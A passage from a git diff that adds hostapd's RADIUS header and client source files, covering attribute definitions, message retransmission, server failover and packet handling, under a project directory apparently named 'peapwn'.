= 3, + RADIUS_CODE_ACCOUNTING_REQUEST = 4, + RADIUS_CODE_ACCOUNTING_RESPONSE = 5, + RADIUS_CODE_ACCESS_CHALLENGE = 11, + RADIUS_CODE_STATUS_SERVER = 12, + RADIUS_CODE_STATUS_CLIENT = 13, + RADIUS_CODE_DISCONNECT_REQUEST = 40, + RADIUS_CODE_DISCONNECT_ACK = 41, + RADIUS_CODE_DISCONNECT_NAK = 42, + RADIUS_CODE_COA_REQUEST = 43, + RADIUS_CODE_COA_ACK = 44, + RADIUS_CODE_COA_NAK = 45, + RADIUS_CODE_RESERVED = 255 +}; + +struct radius_attr_hdr { + u8 type; + u8 length; /* including this header */ + /* followed by length-2 octets of attribute value */ +} STRUCT_PACKED; + +#define RADIUS_MAX_ATTR_LEN (255 - sizeof(struct radius_attr_hdr)) + +enum { RADIUS_ATTR_USER_NAME = 1, + RADIUS_ATTR_USER_PASSWORD = 2, + RADIUS_ATTR_NAS_IP_ADDRESS = 4, + RADIUS_ATTR_NAS_PORT = 5, + RADIUS_ATTR_FRAMED_MTU = 12, + RADIUS_ATTR_REPLY_MESSAGE = 18, + RADIUS_ATTR_STATE = 24, + RADIUS_ATTR_CLASS = 25, + RADIUS_ATTR_VENDOR_SPECIFIC = 26, + RADIUS_ATTR_SESSION_TIMEOUT = 27, + RADIUS_ATTR_IDLE_TIMEOUT = 28, + RADIUS_ATTR_TERMINATION_ACTION = 29, + RADIUS_ATTR_CALLED_STATION_ID = 30, + RADIUS_ATTR_CALLING_STATION_ID = 31, + RADIUS_ATTR_NAS_IDENTIFIER = 32, + RADIUS_ATTR_PROXY_STATE = 33, + RADIUS_ATTR_ACCT_STATUS_TYPE = 40, + RADIUS_ATTR_ACCT_DELAY_TIME = 41, + RADIUS_ATTR_ACCT_INPUT_OCTETS = 42, + RADIUS_ATTR_ACCT_OUTPUT_OCTETS = 43, + RADIUS_ATTR_ACCT_SESSION_ID = 44, + RADIUS_ATTR_ACCT_AUTHENTIC = 45, + RADIUS_ATTR_ACCT_SESSION_TIME = 46, + RADIUS_ATTR_ACCT_INPUT_PACKETS = 47, + RADIUS_ATTR_ACCT_OUTPUT_PACKETS = 48, + RADIUS_ATTR_ACCT_TERMINATE_CAUSE = 49, + RADIUS_ATTR_ACCT_MULTI_SESSION_ID = 50, + RADIUS_ATTR_ACCT_LINK_COUNT = 51, + RADIUS_ATTR_ACCT_INPUT_GIGAWORDS = 52, + RADIUS_ATTR_ACCT_OUTPUT_GIGAWORDS = 53, + RADIUS_ATTR_EVENT_TIMESTAMP = 55, + RADIUS_ATTR_NAS_PORT_TYPE = 61, + RADIUS_ATTR_TUNNEL_TYPE = 64, + RADIUS_ATTR_TUNNEL_MEDIUM_TYPE = 65, + RADIUS_ATTR_TUNNEL_PASSWORD = 69, + RADIUS_ATTR_CONNECT_INFO = 77, + RADIUS_ATTR_EAP_MESSAGE = 79, + RADIUS_ATTR_MESSAGE_AUTHENTICATOR = 80, + RADIUS_ATTR_TUNNEL_PRIVATE_GROUP_ID = 81, + RADIUS_ATTR_ACCT_INTERIM_INTERVAL = 85, + RADIUS_ATTR_CHARGEABLE_USER_IDENTITY = 89, + RADIUS_ATTR_NAS_IPV6_ADDRESS = 95, + RADIUS_ATTR_ERROR_CAUSE = 101 +}; + + +/* Termination-Action */ +#define RADIUS_TERMINATION_ACTION_DEFAULT 0 +#define RADIUS_TERMINATION_ACTION_RADIUS_REQUEST 1 + +/* NAS-Port-Type */ +#define RADIUS_NAS_PORT_TYPE_IEEE_802_11 19 + +/* Acct-Status-Type */ +#define RADIUS_ACCT_STATUS_TYPE_START 1 +#define RADIUS_ACCT_STATUS_TYPE_STOP 2 +#define RADIUS_ACCT_STATUS_TYPE_INTERIM_UPDATE 3 +#define RADIUS_ACCT_STATUS_TYPE_ACCOUNTING_ON 7 +#define RADIUS_ACCT_STATUS_TYPE_ACCOUNTING_OFF 8 + +/* Acct-Authentic */ +#define RADIUS_ACCT_AUTHENTIC_RADIUS 1 +#define RADIUS_ACCT_AUTHENTIC_LOCAL 2 +#define RADIUS_ACCT_AUTHENTIC_REMOTE 3 + +/* Acct-Terminate-Cause */ +#define RADIUS_ACCT_TERMINATE_CAUSE_USER_REQUEST 1 +#define RADIUS_ACCT_TERMINATE_CAUSE_LOST_CARRIER 2 +#define RADIUS_ACCT_TERMINATE_CAUSE_LOST_SERVICE 3 +#define RADIUS_ACCT_TERMINATE_CAUSE_IDLE_TIMEOUT 4 +#define RADIUS_ACCT_TERMINATE_CAUSE_SESSION_TIMEOUT 5 +#define RADIUS_ACCT_TERMINATE_CAUSE_ADMIN_RESET 6 +#define RADIUS_ACCT_TERMINATE_CAUSE_ADMIN_REBOOT 7 +#define RADIUS_ACCT_TERMINATE_CAUSE_PORT_ERROR 8 +#define RADIUS_ACCT_TERMINATE_CAUSE_NAS_ERROR 9 +#define RADIUS_ACCT_TERMINATE_CAUSE_NAS_REQUEST 10 +#define RADIUS_ACCT_TERMINATE_CAUSE_NAS_REBOOT 11 +#define RADIUS_ACCT_TERMINATE_CAUSE_PORT_UNNEEDED 12 +#define RADIUS_ACCT_TERMINATE_CAUSE_PORT_PREEMPTED 13 +#define RADIUS_ACCT_TERMINATE_CAUSE_PORT_SUSPENDED 14 +#define RADIUS_ACCT_TERMINATE_CAUSE_SERVICE_UNAVAILABLE 15 +#define RADIUS_ACCT_TERMINATE_CAUSE_CALLBACK 16 +#define RADIUS_ACCT_TERMINATE_CAUSE_USER_ERROR 17 +#define RADIUS_ACCT_TERMINATE_CAUSE_HOST_REQUEST 18 + +#define RADIUS_TUNNEL_TAGS 32 + +/* Tunnel-Type */ +#define RADIUS_TUNNEL_TYPE_PPTP 1 +#define RADIUS_TUNNEL_TYPE_L2TP 3 +#define RADIUS_TUNNEL_TYPE_IPIP 7 +#define RADIUS_TUNNEL_TYPE_GRE 10 +#define RADIUS_TUNNEL_TYPE_VLAN 13 + +/* Tunnel-Medium-Type */ +#define RADIUS_TUNNEL_MEDIUM_TYPE_IPV4 1 +#define RADIUS_TUNNEL_MEDIUM_TYPE_IPV6 2 +#define RADIUS_TUNNEL_MEDIUM_TYPE_802 6 + + +struct radius_attr_vendor { + u8 vendor_type; + u8 vendor_length; +} STRUCT_PACKED; + +#define RADIUS_VENDOR_ID_CISCO 9 +#define RADIUS_CISCO_AV_PAIR 1 + +/* RFC 2548 - Microsoft Vendor-specific RADIUS Attributes */ +#define RADIUS_VENDOR_ID_MICROSOFT 311 + +enum { RADIUS_VENDOR_ATTR_MS_MPPE_SEND_KEY = 16, + RADIUS_VENDOR_ATTR_MS_MPPE_RECV_KEY = 17 +}; + +#ifdef _MSC_VER +#pragma pack(pop) +#endif /* _MSC_VER */ + +struct radius_ms_mppe_keys { + u8 *send; + size_t send_len; + u8 *recv; + size_t recv_len; +}; + + +struct radius_msg; + +/* Default size to be allocated for new RADIUS messages */ +#define RADIUS_DEFAULT_MSG_SIZE 1024 + +/* Default size to be allocated for attribute array */ +#define RADIUS_DEFAULT_ATTR_COUNT 16 + + +/* MAC address ASCII format for IEEE 802.1X use + * (draft-congdon-radius-8021x-20.txt) */ +#define RADIUS_802_1X_ADDR_FORMAT "%02X-%02X-%02X-%02X-%02X-%02X" +/* MAC address ASCII format for non-802.1X use */ +#define RADIUS_ADDR_FORMAT "%02x%02x%02x%02x%02x%02x" + +struct radius_hdr * radius_msg_get_hdr(struct radius_msg *msg); +struct wpabuf * radius_msg_get_buf(struct radius_msg *msg); +struct radius_msg * radius_msg_new(u8 code, u8 identifier); +void radius_msg_free(struct radius_msg *msg); +void radius_msg_dump(struct radius_msg *msg); +int radius_msg_finish(struct radius_msg *msg, const u8 *secret, + size_t secret_len); +int radius_msg_finish_srv(struct radius_msg *msg, const u8 *secret, + size_t secret_len, const u8 *req_authenticator); +int radius_msg_finish_das_resp(struct radius_msg *msg, const u8 *secret, + size_t secret_len, + const struct radius_hdr *req_hdr); +void radius_msg_finish_acct(struct radius_msg *msg, const u8 *secret, + size_t secret_len); +int radius_msg_verify_acct_req(struct radius_msg *msg, const u8 *secret, + size_t secret_len); +int radius_msg_verify_das_req(struct radius_msg *msg, const u8 *secret, + size_t secret_len); +struct radius_attr_hdr * radius_msg_add_attr(struct radius_msg *msg, u8 type, + const u8 *data, size_t data_len); +struct radius_msg * radius_msg_parse(const u8 *data, size_t len); +int radius_msg_add_eap(struct radius_msg *msg, const u8 *data, + size_t data_len); +struct wpabuf * radius_msg_get_eap(struct radius_msg *msg); +int radius_msg_verify(struct radius_msg *msg, const u8 *secret, + size_t secret_len, struct radius_msg *sent_msg, + int auth); +int radius_msg_verify_msg_auth(struct radius_msg *msg, const u8 *secret, + size_t secret_len, const u8 *req_auth); +int radius_msg_copy_attr(struct radius_msg *dst, struct radius_msg *src, + u8 type); +void radius_msg_make_authenticator(struct radius_msg *msg, + const u8 *data, size_t len); +struct radius_ms_mppe_keys * +radius_msg_get_ms_keys(struct radius_msg *msg, struct radius_msg *sent_msg, + const u8 *secret, size_t secret_len); +struct radius_ms_mppe_keys * +radius_msg_get_cisco_keys(struct radius_msg *msg, struct radius_msg *sent_msg, + const u8 *secret, size_t secret_len); +int radius_msg_add_mppe_keys(struct radius_msg *msg, + const u8 *req_authenticator, + const u8 *secret, size_t secret_len, + const u8 *send_key, size_t send_key_len, + const u8 *recv_key, size_t recv_key_len); +struct radius_attr_hdr * +radius_msg_add_attr_user_password(struct radius_msg *msg, + const u8 *data, size_t data_len, + const u8 *secret, size_t secret_len); +int radius_msg_get_attr(struct radius_msg *msg, u8 type, u8 *buf, size_t len); +int radius_msg_get_vlanid(struct radius_msg *msg); +char * radius_msg_get_tunnel_password(struct radius_msg *msg, int *keylen, + const u8 *secret, size_t secret_len, + struct radius_msg *sent_msg, size_t n); + +static inline int radius_msg_add_attr_int32(struct radius_msg *msg, u8 type, + u32 value) +{ + u32 val = htonl(value); + return radius_msg_add_attr(msg, type, (u8 *) &val, 4) != NULL; +} + +static inline int radius_msg_get_attr_int32(struct radius_msg *msg, u8 type, + u32 *value) +{ + u32 val; + int res; + res = radius_msg_get_attr(msg, type, (u8 *) &val, 4); + if (res != 4) + return -1; + + *value = ntohl(val); + return 0; +} +int radius_msg_get_attr_ptr(struct radius_msg *msg, u8 type, u8 **buf, + size_t *len, const u8 *start); +int radius_msg_count_attr(struct radius_msg *msg, u8 type, int min_len); + + +struct radius_attr_data { + u8 *data; + size_t len; +}; + +struct radius_class_data { + struct radius_attr_data *attr; + size_t count; +}; + +void radius_free_class(struct radius_class_data *c); +int radius_copy_class(struct radius_class_data *dst, + const struct radius_class_data *src); + +u8 radius_msg_find_unlisted_attr(struct radius_msg *msg, u8 *attrs); + +#endif /* RADIUS_H */ diff --git a/peapwn/mods/hostap/src/radius/radius_client.c b/peapwn/mods/hostap/src/radius/radius_client.c new file mode 100644 index 000000000..290c7c81e --- /dev/null +++ b/peapwn/mods/hostap/src/radius/radius_client.c @@ -0,0 +1,1491 @@ +/* + * RADIUS client + * Copyright (c) 2002-2009, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "radius.h" +#include "radius_client.h" +#include "eloop.h" + +/* Defaults for RADIUS retransmit values (exponential backoff) */ + +/** + * RADIUS_CLIENT_FIRST_WAIT - RADIUS client timeout for first retry in seconds + */ +#define RADIUS_CLIENT_FIRST_WAIT 3 + +/** + * RADIUS_CLIENT_MAX_WAIT - RADIUS client maximum retry timeout in seconds + */ +#define RADIUS_CLIENT_MAX_WAIT 120 + +/** + * RADIUS_CLIENT_MAX_RETRIES - RADIUS client maximum retries + * + * Maximum number of retransmit attempts before the entry is removed from + * retransmit list. + */ +#define RADIUS_CLIENT_MAX_RETRIES 10 + +/** + * RADIUS_CLIENT_MAX_ENTRIES - RADIUS client maximum pending messages + * + * Maximum number of entries in retransmit list (oldest entries will be + * removed, if this limit is exceeded). + */ +#define RADIUS_CLIENT_MAX_ENTRIES 30 + +/** + * RADIUS_CLIENT_NUM_FAILOVER - RADIUS client failover point + * + * The number of failed retry attempts after which the RADIUS server will be + * changed (if one of more backup servers are configured). + */ +#define RADIUS_CLIENT_NUM_FAILOVER 4 + + +/** + * struct radius_rx_handler - RADIUS client RX handler + * + * This data structure is used internally inside the RADIUS client module to + * store registered RX handlers. These handlers are registered by calls to + * radius_client_register() and unregistered when the RADIUS client is + * deinitialized with a call to radius_client_deinit(). + */ +struct radius_rx_handler { + /** + * handler - Received RADIUS message handler + */ + RadiusRxResult (*handler)(struct radius_msg *msg, + struct radius_msg *req, + const u8 *shared_secret, + size_t shared_secret_len, + void *data); + + /** + * data - Context data for the handler + */ + void *data; +}; + + +/** + * struct radius_msg_list - RADIUS client message retransmit list + * + * This data structure is used internally inside the RADIUS client module to + * store pending RADIUS requests that may still need to be retransmitted. + */ +struct radius_msg_list { + /** + * addr - STA/client address + * + * This is used to find RADIUS messages for the same STA. + */ + u8 addr[ETH_ALEN]; + + /** + * msg - RADIUS message + */ + struct radius_msg *msg; + + /** + * msg_type - Message type + */ + RadiusType msg_type; + + /** + * first_try - Time of the first transmission attempt + */ + os_time_t first_try; + + /** + * next_try - Time for the next transmission attempt + */ + os_time_t next_try; + + /** + * attempts - Number of transmission attempts + */ + int attempts; + + /** + * next_wait - Next retransmission wait time in seconds + */ + int next_wait; + + /** + * last_attempt - Time of the last transmission attempt + */ + struct os_time last_attempt; + + /** + * shared_secret - Shared secret with the target RADIUS server + */ + const u8 *shared_secret; + + /** + * shared_secret_len - shared_secret length in octets + */ + size_t shared_secret_len; + + /* TODO: server config with failover to backup server(s) */ + + /** + * next - Next message in the list + */ + struct radius_msg_list *next; +}; + + +/** + * struct radius_client_data - Internal RADIUS client data + * + * This data structure is used internally inside the RADIUS client module. + * External users allocate this by calling radius_client_init() and free it by + * calling radius_client_deinit(). The pointer to this opaque data is used in + * calls to other functions as an identifier for the RADIUS client instance. + */ +struct radius_client_data { + /** + * ctx - Context pointer for hostapd_logger() callbacks + */ + void *ctx; + + /** + * conf - RADIUS client configuration (list of RADIUS servers to use) + */ + struct hostapd_radius_servers *conf; + + /** + * auth_serv_sock - IPv4 socket for RADIUS authentication messages + */ + int auth_serv_sock; + + /** + * acct_serv_sock - IPv4 socket for RADIUS accounting messages + */ + int acct_serv_sock; + + /** + * auth_serv_sock6 - IPv6 socket for RADIUS authentication messages + */ + int auth_serv_sock6; + + /** + * acct_serv_sock6 - IPv6 socket for RADIUS accounting messages + */ + int acct_serv_sock6; + + /** + * auth_sock - Currently used socket for RADIUS authentication server + */ + int auth_sock; + + /** + * acct_sock - Currently used socket for RADIUS accounting server + */ + int acct_sock; + + /** + * auth_handlers - Authentication message handlers + */ + struct radius_rx_handler *auth_handlers; + + /** + * num_auth_handlers - Number of handlers in auth_handlers + */ + size_t num_auth_handlers; + + /** + * acct_handlers - Accounting message handlers + */ + struct radius_rx_handler *acct_handlers; + + /** + * num_acct_handlers - Number of handlers in acct_handlers + */ + size_t num_acct_handlers; + + /** + * msgs - Pending outgoing RADIUS messages + */ + struct radius_msg_list *msgs; + + /** + * num_msgs - Number of pending messages in the msgs list + */ + size_t num_msgs; + + /** + * next_radius_identifier - Next RADIUS message identifier to use + */ + u8 next_radius_identifier; +}; + + +static int +radius_change_server(struct radius_client_data *radius, + struct hostapd_radius_server *nserv, + struct hostapd_radius_server *oserv, + int sock, int sock6, int auth); +static int radius_client_init_acct(struct radius_client_data *radius); +static int radius_client_init_auth(struct radius_client_data *radius); + + +static void radius_client_msg_free(struct radius_msg_list *req) +{ + radius_msg_free(req->msg); + os_free(req); +} + + +/** + * radius_client_register - Register a RADIUS client RX handler + * @radius: RADIUS client context from radius_client_init() + * @msg_type: RADIUS client type (RADIUS_AUTH or RADIUS_ACCT) + * @handler: Handler for received RADIUS messages + * @data: Context pointer for handler callbacks + * Returns: 0 on success, -1 on failure + * + * This function is used to register a handler for processing received RADIUS + * authentication and accounting messages. The handler() callback function will + * be called whenever a RADIUS message is received from the active server. + * + * There can be multiple registered RADIUS message handlers. The handlers will + * be called in order until one of them indicates that it has processed or + * queued the message. + */ +int radius_client_register(struct radius_client_data *radius, + RadiusType msg_type, + RadiusRxResult (*handler)(struct radius_msg *msg, + struct radius_msg *req, + const u8 *shared_secret, + size_t shared_secret_len, + void *data), + void *data) +{ + struct radius_rx_handler **handlers, *newh; + size_t *num; + + if (msg_type == RADIUS_ACCT) { + handlers = &radius->acct_handlers; + num = &radius->num_acct_handlers; + } else { + handlers = &radius->auth_handlers; + num = &radius->num_auth_handlers; + } + + newh = os_realloc_array(*handlers, *num + 1, + sizeof(struct radius_rx_handler)); + if (newh == NULL) + return -1; + + newh[*num].handler = handler; + newh[*num].data = data; + (*num)++; + *handlers = newh; + + return 0; +} + + +static void radius_client_handle_send_error(struct radius_client_data *radius, + int s, RadiusType msg_type) +{ +#ifndef CONFIG_NATIVE_WINDOWS + int _errno = errno; + wpa_printf(MSG_INFO, "send[RADIUS]: %s", strerror(errno)); + if (_errno == ENOTCONN || _errno == EDESTADDRREQ || _errno == EINVAL || + _errno == EBADF) { + hostapd_logger(radius->ctx, NULL, HOSTAPD_MODULE_RADIUS, + HOSTAPD_LEVEL_INFO, + "Send failed - maybe interface status changed -" + " try to connect again"); + eloop_unregister_read_sock(s); + close(s); + if (msg_type == RADIUS_ACCT || msg_type == RADIUS_ACCT_INTERIM) + radius_client_init_acct(radius); + else + radius_client_init_auth(radius); + } +#endif /* CONFIG_NATIVE_WINDOWS */ +} + + +static int radius_client_retransmit(struct radius_client_data *radius, + struct radius_msg_list *entry, + os_time_t now) +{ + struct hostapd_radius_servers *conf = radius->conf; + int s; + struct wpabuf *buf; + + if (entry->msg_type == RADIUS_ACCT || + entry->msg_type == RADIUS_ACCT_INTERIM) { + s = radius->acct_sock; + if (entry->attempts == 0) + conf->acct_server->requests++; + else { + conf->acct_server->timeouts++; + conf->acct_server->retransmissions++; + } + } else { + s = radius->auth_sock; + if (entry->attempts == 0) + conf->auth_server->requests++; + else { + conf->auth_server->timeouts++; + conf->auth_server->retransmissions++; + } + } + + /* retransmit; remove entry if too many attempts */ + entry->attempts++; + hostapd_logger(radius->ctx, entry->addr, HOSTAPD_MODULE_RADIUS, + HOSTAPD_LEVEL_DEBUG, "Resending RADIUS message (id=%d)", + radius_msg_get_hdr(entry->msg)->identifier); + + os_get_time(&entry->last_attempt); + buf = radius_msg_get_buf(entry->msg); + if (send(s, wpabuf_head(buf), wpabuf_len(buf), 0) < 0) + radius_client_handle_send_error(radius, s, entry->msg_type); + + entry->next_try = now + entry->next_wait; + entry->next_wait *= 2; + if (entry->next_wait > RADIUS_CLIENT_MAX_WAIT) + entry->next_wait = RADIUS_CLIENT_MAX_WAIT; + if (entry->attempts >= RADIUS_CLIENT_MAX_RETRIES) { + wpa_printf(MSG_INFO, "RADIUS: Removing un-ACKed message due to too many failed retransmit attempts"); + return 1; + } + + return 0; +} + + +static void radius_client_timer(void *eloop_ctx, void *timeout_ctx) +{ + struct radius_client_data *radius = eloop_ctx; + struct hostapd_radius_servers *conf = radius->conf; + struct os_time now; + os_time_t first; + struct radius_msg_list *entry, *prev, *tmp; + int auth_failover = 0, acct_failover = 0; + char abuf[50]; + + entry = radius->msgs; + if (!entry) + return; + + os_get_time(&now); + first = 0; + + prev = NULL; + while (entry) { + if (now.sec >= entry->next_try && + radius_client_retransmit(radius, entry, now.sec)) { + if (prev) + prev->next = entry->next; + else + radius->msgs = entry->next; + + tmp = entry; + entry = entry->next; + radius_client_msg_free(tmp); + radius->num_msgs--; + continue; + } + + if (entry->attempts > RADIUS_CLIENT_NUM_FAILOVER) { + if (entry->msg_type == RADIUS_ACCT || + entry->msg_type == RADIUS_ACCT_INTERIM) + acct_failover++; + else + auth_failover++; + } + + if (first == 0 || entry->next_try < first) + first = entry->next_try; + + prev = entry; + entry = entry->next; + } + + if (radius->msgs) { + if (first < now.sec) + first = now.sec; + eloop_register_timeout(first - now.sec, 0, + radius_client_timer, radius, NULL); + hostapd_logger(radius->ctx, NULL, HOSTAPD_MODULE_RADIUS, + HOSTAPD_LEVEL_DEBUG, "Next RADIUS client " + "retransmit in %ld seconds", + (long int) (first - now.sec)); + } + + if (auth_failover && conf->num_auth_servers > 1) { + struct hostapd_radius_server *next, *old; + old = conf->auth_server; + hostapd_logger(radius->ctx, NULL, HOSTAPD_MODULE_RADIUS, + HOSTAPD_LEVEL_NOTICE, + "No response from Authentication server " + "%s:%d - failover", + hostapd_ip_txt(&old->addr, abuf, sizeof(abuf)), + old->port); + + for (entry = radius->msgs; entry; entry = entry->next) { + if (entry->msg_type == RADIUS_AUTH) + old->timeouts++; + } + + next = old + 1; + if (next > &(conf->auth_servers[conf->num_auth_servers - 1])) + next = conf->auth_servers; + conf->auth_server = next; + radius_change_server(radius, next, old, + radius->auth_serv_sock, + radius->auth_serv_sock6, 1); + } + + if (acct_failover && conf->num_acct_servers > 1) { + struct hostapd_radius_server *next, *old; + old = conf->acct_server; + hostapd_logger(radius->ctx, NULL, HOSTAPD_MODULE_RADIUS, + HOSTAPD_LEVEL_NOTICE, + "No response from Accounting server " + "%s:%d - failover", + hostapd_ip_txt(&old->addr, abuf, sizeof(abuf)), + old->port); + + for (entry = radius->msgs; entry; entry = entry->next) { + if (entry->msg_type == RADIUS_ACCT || + entry->msg_type == RADIUS_ACCT_INTERIM) + old->timeouts++; + } + + next = old + 1; + if (next > &conf->acct_servers[conf->num_acct_servers - 1]) + next = conf->acct_servers; + conf->acct_server = next; + radius_change_server(radius, next, old, + radius->acct_serv_sock, + radius->acct_serv_sock6, 0); + } +} + + +static void radius_client_update_timeout(struct radius_client_data *radius) +{ + struct os_time now; + os_time_t first; + struct radius_msg_list *entry; + + eloop_cancel_timeout(radius_client_timer, radius, NULL); + + if (radius->msgs == NULL) { + return; + } + + first = 0; + for (entry = radius->msgs; entry; entry = entry->next) { + if (first == 0 || entry->next_try < first) + first = entry->next_try; + } + + os_get_time(&now); + if (first < now.sec) + first = now.sec; + eloop_register_timeout(first - now.sec, 0, radius_client_timer, radius, + NULL); + hostapd_logger(radius->ctx, NULL, HOSTAPD_MODULE_RADIUS, + HOSTAPD_LEVEL_DEBUG, "Next RADIUS client retransmit in" + " %ld seconds", (long int) (first - now.sec)); +} + + +static void radius_client_list_add(struct radius_client_data *radius, + struct radius_msg *msg, + RadiusType msg_type, + const u8 *shared_secret, + size_t shared_secret_len, const u8 *addr) +{ + struct radius_msg_list *entry, *prev; + + if (eloop_terminated()) { + /* No point in adding entries to retransmit queue since event + * loop has already been terminated. */ + radius_msg_free(msg); + return; + } + + entry = os_zalloc(sizeof(*entry)); + if (entry == NULL) { + wpa_printf(MSG_INFO, "RADIUS: Failed to add packet into retransmit list"); + radius_msg_free(msg); + return; + } + + if (addr) + os_memcpy(entry->addr, addr, ETH_ALEN); + entry->msg = msg; + entry->msg_type = msg_type; + entry->shared_secret = shared_secret; + entry->shared_secret_len = shared_secret_len; + os_get_time(&entry->last_attempt); + entry->first_try = entry->last_attempt.sec; + entry->next_try = entry->first_try + RADIUS_CLIENT_FIRST_WAIT; + entry->attempts = 1; + entry->next_wait = RADIUS_CLIENT_FIRST_WAIT * 2; + entry->next = radius->msgs; + radius->msgs = entry; + radius_client_update_timeout(radius); + + if (radius->num_msgs >= RADIUS_CLIENT_MAX_ENTRIES) { + wpa_printf(MSG_INFO, "RADIUS: Removing the oldest un-ACKed packet due to retransmit list limits"); + prev = NULL; + while (entry->next) { + prev = entry; + entry = entry->next; + } + if (prev) { + prev->next = NULL; + radius_client_msg_free(entry); + } + } else + radius->num_msgs++; +} + + +static void radius_client_list_del(struct radius_client_data *radius, + RadiusType msg_type, const u8 *addr) +{ + struct radius_msg_list *entry, *prev, *tmp; + + if (addr == NULL) + return; + + entry = radius->msgs; + prev = NULL; + while (entry) { + if (entry->msg_type == msg_type && + os_memcmp(entry->addr, addr, ETH_ALEN) == 0) { + if (prev) + prev->next = entry->next; + else + radius->msgs = entry->next; + tmp = entry; + entry = entry->next; + hostapd_logger(radius->ctx, addr, + HOSTAPD_MODULE_RADIUS, + HOSTAPD_LEVEL_DEBUG, + "Removing matching RADIUS message"); + radius_client_msg_free(tmp); + radius->num_msgs--; + continue; + } + prev = entry; + entry = entry->next; + } +} + + +/** + * radius_client_send - Send a RADIUS request + * @radius: RADIUS client context from radius_client_init() + * @msg: RADIUS message to be sent + * @msg_type: Message type (RADIUS_AUTH, RADIUS_ACCT, RADIUS_ACCT_INTERIM) + * @addr: MAC address of the device related to this message or %NULL + * Returns: 0 on success, -1 on failure + * + * This function is used to transmit a RADIUS authentication (RADIUS_AUTH) or + * accounting request (RADIUS_ACCT or RADIUS_ACCT_INTERIM). The only difference + * between accounting and interim accounting messages is that the interim + * message will override any pending interim accounting updates while a new + * accounting message does not remove any pending messages. + * + * The message is added on the retransmission queue and will be retransmitted + * automatically until a response is received or maximum number of retries + * (RADIUS_CLIENT_MAX_RETRIES) is reached. + * + * The related device MAC address can be used to identify pending messages that + * can be removed with radius_client_flush_auth() or with interim accounting + * updates. + */ +int radius_client_send(struct radius_client_data *radius, + struct radius_msg *msg, RadiusType msg_type, + const u8 *addr) +{ + struct hostapd_radius_servers *conf = radius->conf; + const u8 *shared_secret; + size_t shared_secret_len; + char *name; + int s, res; + struct wpabuf *buf; + + if (msg_type == RADIUS_ACCT_INTERIM) { + /* Remove any pending interim acct update for the same STA. */ + radius_client_list_del(radius, msg_type, addr); + } + + if (msg_type == RADIUS_ACCT || msg_type == RADIUS_ACCT_INTERIM) { + if (conf->acct_server == NULL) { + hostapd_logger(radius->ctx, NULL, + HOSTAPD_MODULE_RADIUS, + HOSTAPD_LEVEL_INFO, + "No accounting server configured"); + return -1; + } + shared_secret = conf->acct_server->shared_secret; + shared_secret_len = conf->acct_server->shared_secret_len; + radius_msg_finish_acct(msg, shared_secret, shared_secret_len); + name = "accounting"; + s = radius->acct_sock; + conf->acct_server->requests++; + } else { + if (conf->auth_server == NULL) { + hostapd_logger(radius->ctx, NULL, + HOSTAPD_MODULE_RADIUS, + HOSTAPD_LEVEL_INFO, + "No authentication server configured"); + return -1; + } + shared_secret = conf->auth_server->shared_secret; + shared_secret_len = conf->auth_server->shared_secret_len; + radius_msg_finish(msg, shared_secret, shared_secret_len); + name = "authentication"; + s = radius->auth_sock; + conf->auth_server->requests++; + } + + hostapd_logger(radius->ctx, NULL, HOSTAPD_MODULE_RADIUS, + HOSTAPD_LEVEL_DEBUG, "Sending RADIUS message to %s " + "server", name); + if (conf->msg_dumps) + radius_msg_dump(msg); + + buf = radius_msg_get_buf(msg); + res = send(s, wpabuf_head(buf), wpabuf_len(buf), 0); + if (res < 0) + radius_client_handle_send_error(radius, s, msg_type); + + radius_client_list_add(radius, msg, msg_type, shared_secret, + shared_secret_len, addr); + + return 0; +} + + +static void radius_client_receive(int sock, void *eloop_ctx, void *sock_ctx) +{ + struct radius_client_data *radius = eloop_ctx; + struct hostapd_radius_servers *conf = radius->conf; + RadiusType msg_type = (RadiusType) sock_ctx; + int len, roundtrip; + unsigned char buf[3000]; + struct radius_msg *msg; + struct radius_hdr *hdr; + struct radius_rx_handler *handlers; + size_t num_handlers, i; + struct radius_msg_list *req, *prev_req; + struct os_time now; + struct hostapd_radius_server *rconf; + int invalid_authenticator = 0; + + if (msg_type == RADIUS_ACCT) { + handlers = radius->acct_handlers; + num_handlers = radius->num_acct_handlers; + rconf = conf->acct_server; + } else { + handlers = radius->auth_handlers; + num_handlers = radius->num_auth_handlers; + rconf = conf->auth_server; + } + + len = recv(sock, buf, sizeof(buf), MSG_DONTWAIT); + if (len < 0) { + wpa_printf(MSG_INFO, "recv[RADIUS]: %s", strerror(errno)); + return; + } + hostapd_logger(radius->ctx, NULL, HOSTAPD_MODULE_RADIUS, + HOSTAPD_LEVEL_DEBUG, "Received %d bytes from RADIUS " + "server", len); + if (len == sizeof(buf)) { + wpa_printf(MSG_INFO, "RADIUS: Possibly too long UDP frame for our buffer - dropping it"); + return; + } + + msg = radius_msg_parse(buf, len); + if (msg == NULL) { + wpa_printf(MSG_INFO, "RADIUS: Parsing incoming frame failed"); + rconf->malformed_responses++; + return; + } + hdr = radius_msg_get_hdr(msg); + + hostapd_logger(radius->ctx, NULL, HOSTAPD_MODULE_RADIUS, + HOSTAPD_LEVEL_DEBUG, "Received RADIUS message"); + if (conf->msg_dumps) + radius_msg_dump(msg); + + switch (hdr->code) { + case RADIUS_CODE_ACCESS_ACCEPT: + rconf->access_accepts++; + break; + case RADIUS_CODE_ACCESS_REJECT: + rconf->access_rejects++; + break; + case RADIUS_CODE_ACCESS_CHALLENGE: + rconf->access_challenges++; + break; + case RADIUS_CODE_ACCOUNTING_RESPONSE: + rconf->responses++; + break; + } + + prev_req = NULL; + req = radius->msgs; + while (req) { + /* TODO: also match by src addr:port of the packet when using + * alternative RADIUS servers (?) */ + if ((req->msg_type == msg_type || + (req->msg_type == RADIUS_ACCT_INTERIM && + msg_type == RADIUS_ACCT)) && + radius_msg_get_hdr(req->msg)->identifier == + hdr->identifier) + break; + + prev_req = req; + req = req->next; + } + + if (req == NULL) { + hostapd_logger(radius->ctx, NULL, HOSTAPD_MODULE_RADIUS, + HOSTAPD_LEVEL_DEBUG, + "No matching RADIUS request found (type=%d " + "id=%d) - dropping packet", + msg_type, hdr->identifier); + goto fail; + } + + os_get_time(&now); + roundtrip = (now.sec - req->last_attempt.sec) * 100 + + (now.usec - req->last_attempt.usec) / 10000; + hostapd_logger(radius->ctx, req->addr, HOSTAPD_MODULE_RADIUS, + HOSTAPD_LEVEL_DEBUG, + "Received RADIUS packet matched with a pending " + "request, round trip time %d.%02d sec", + roundtrip / 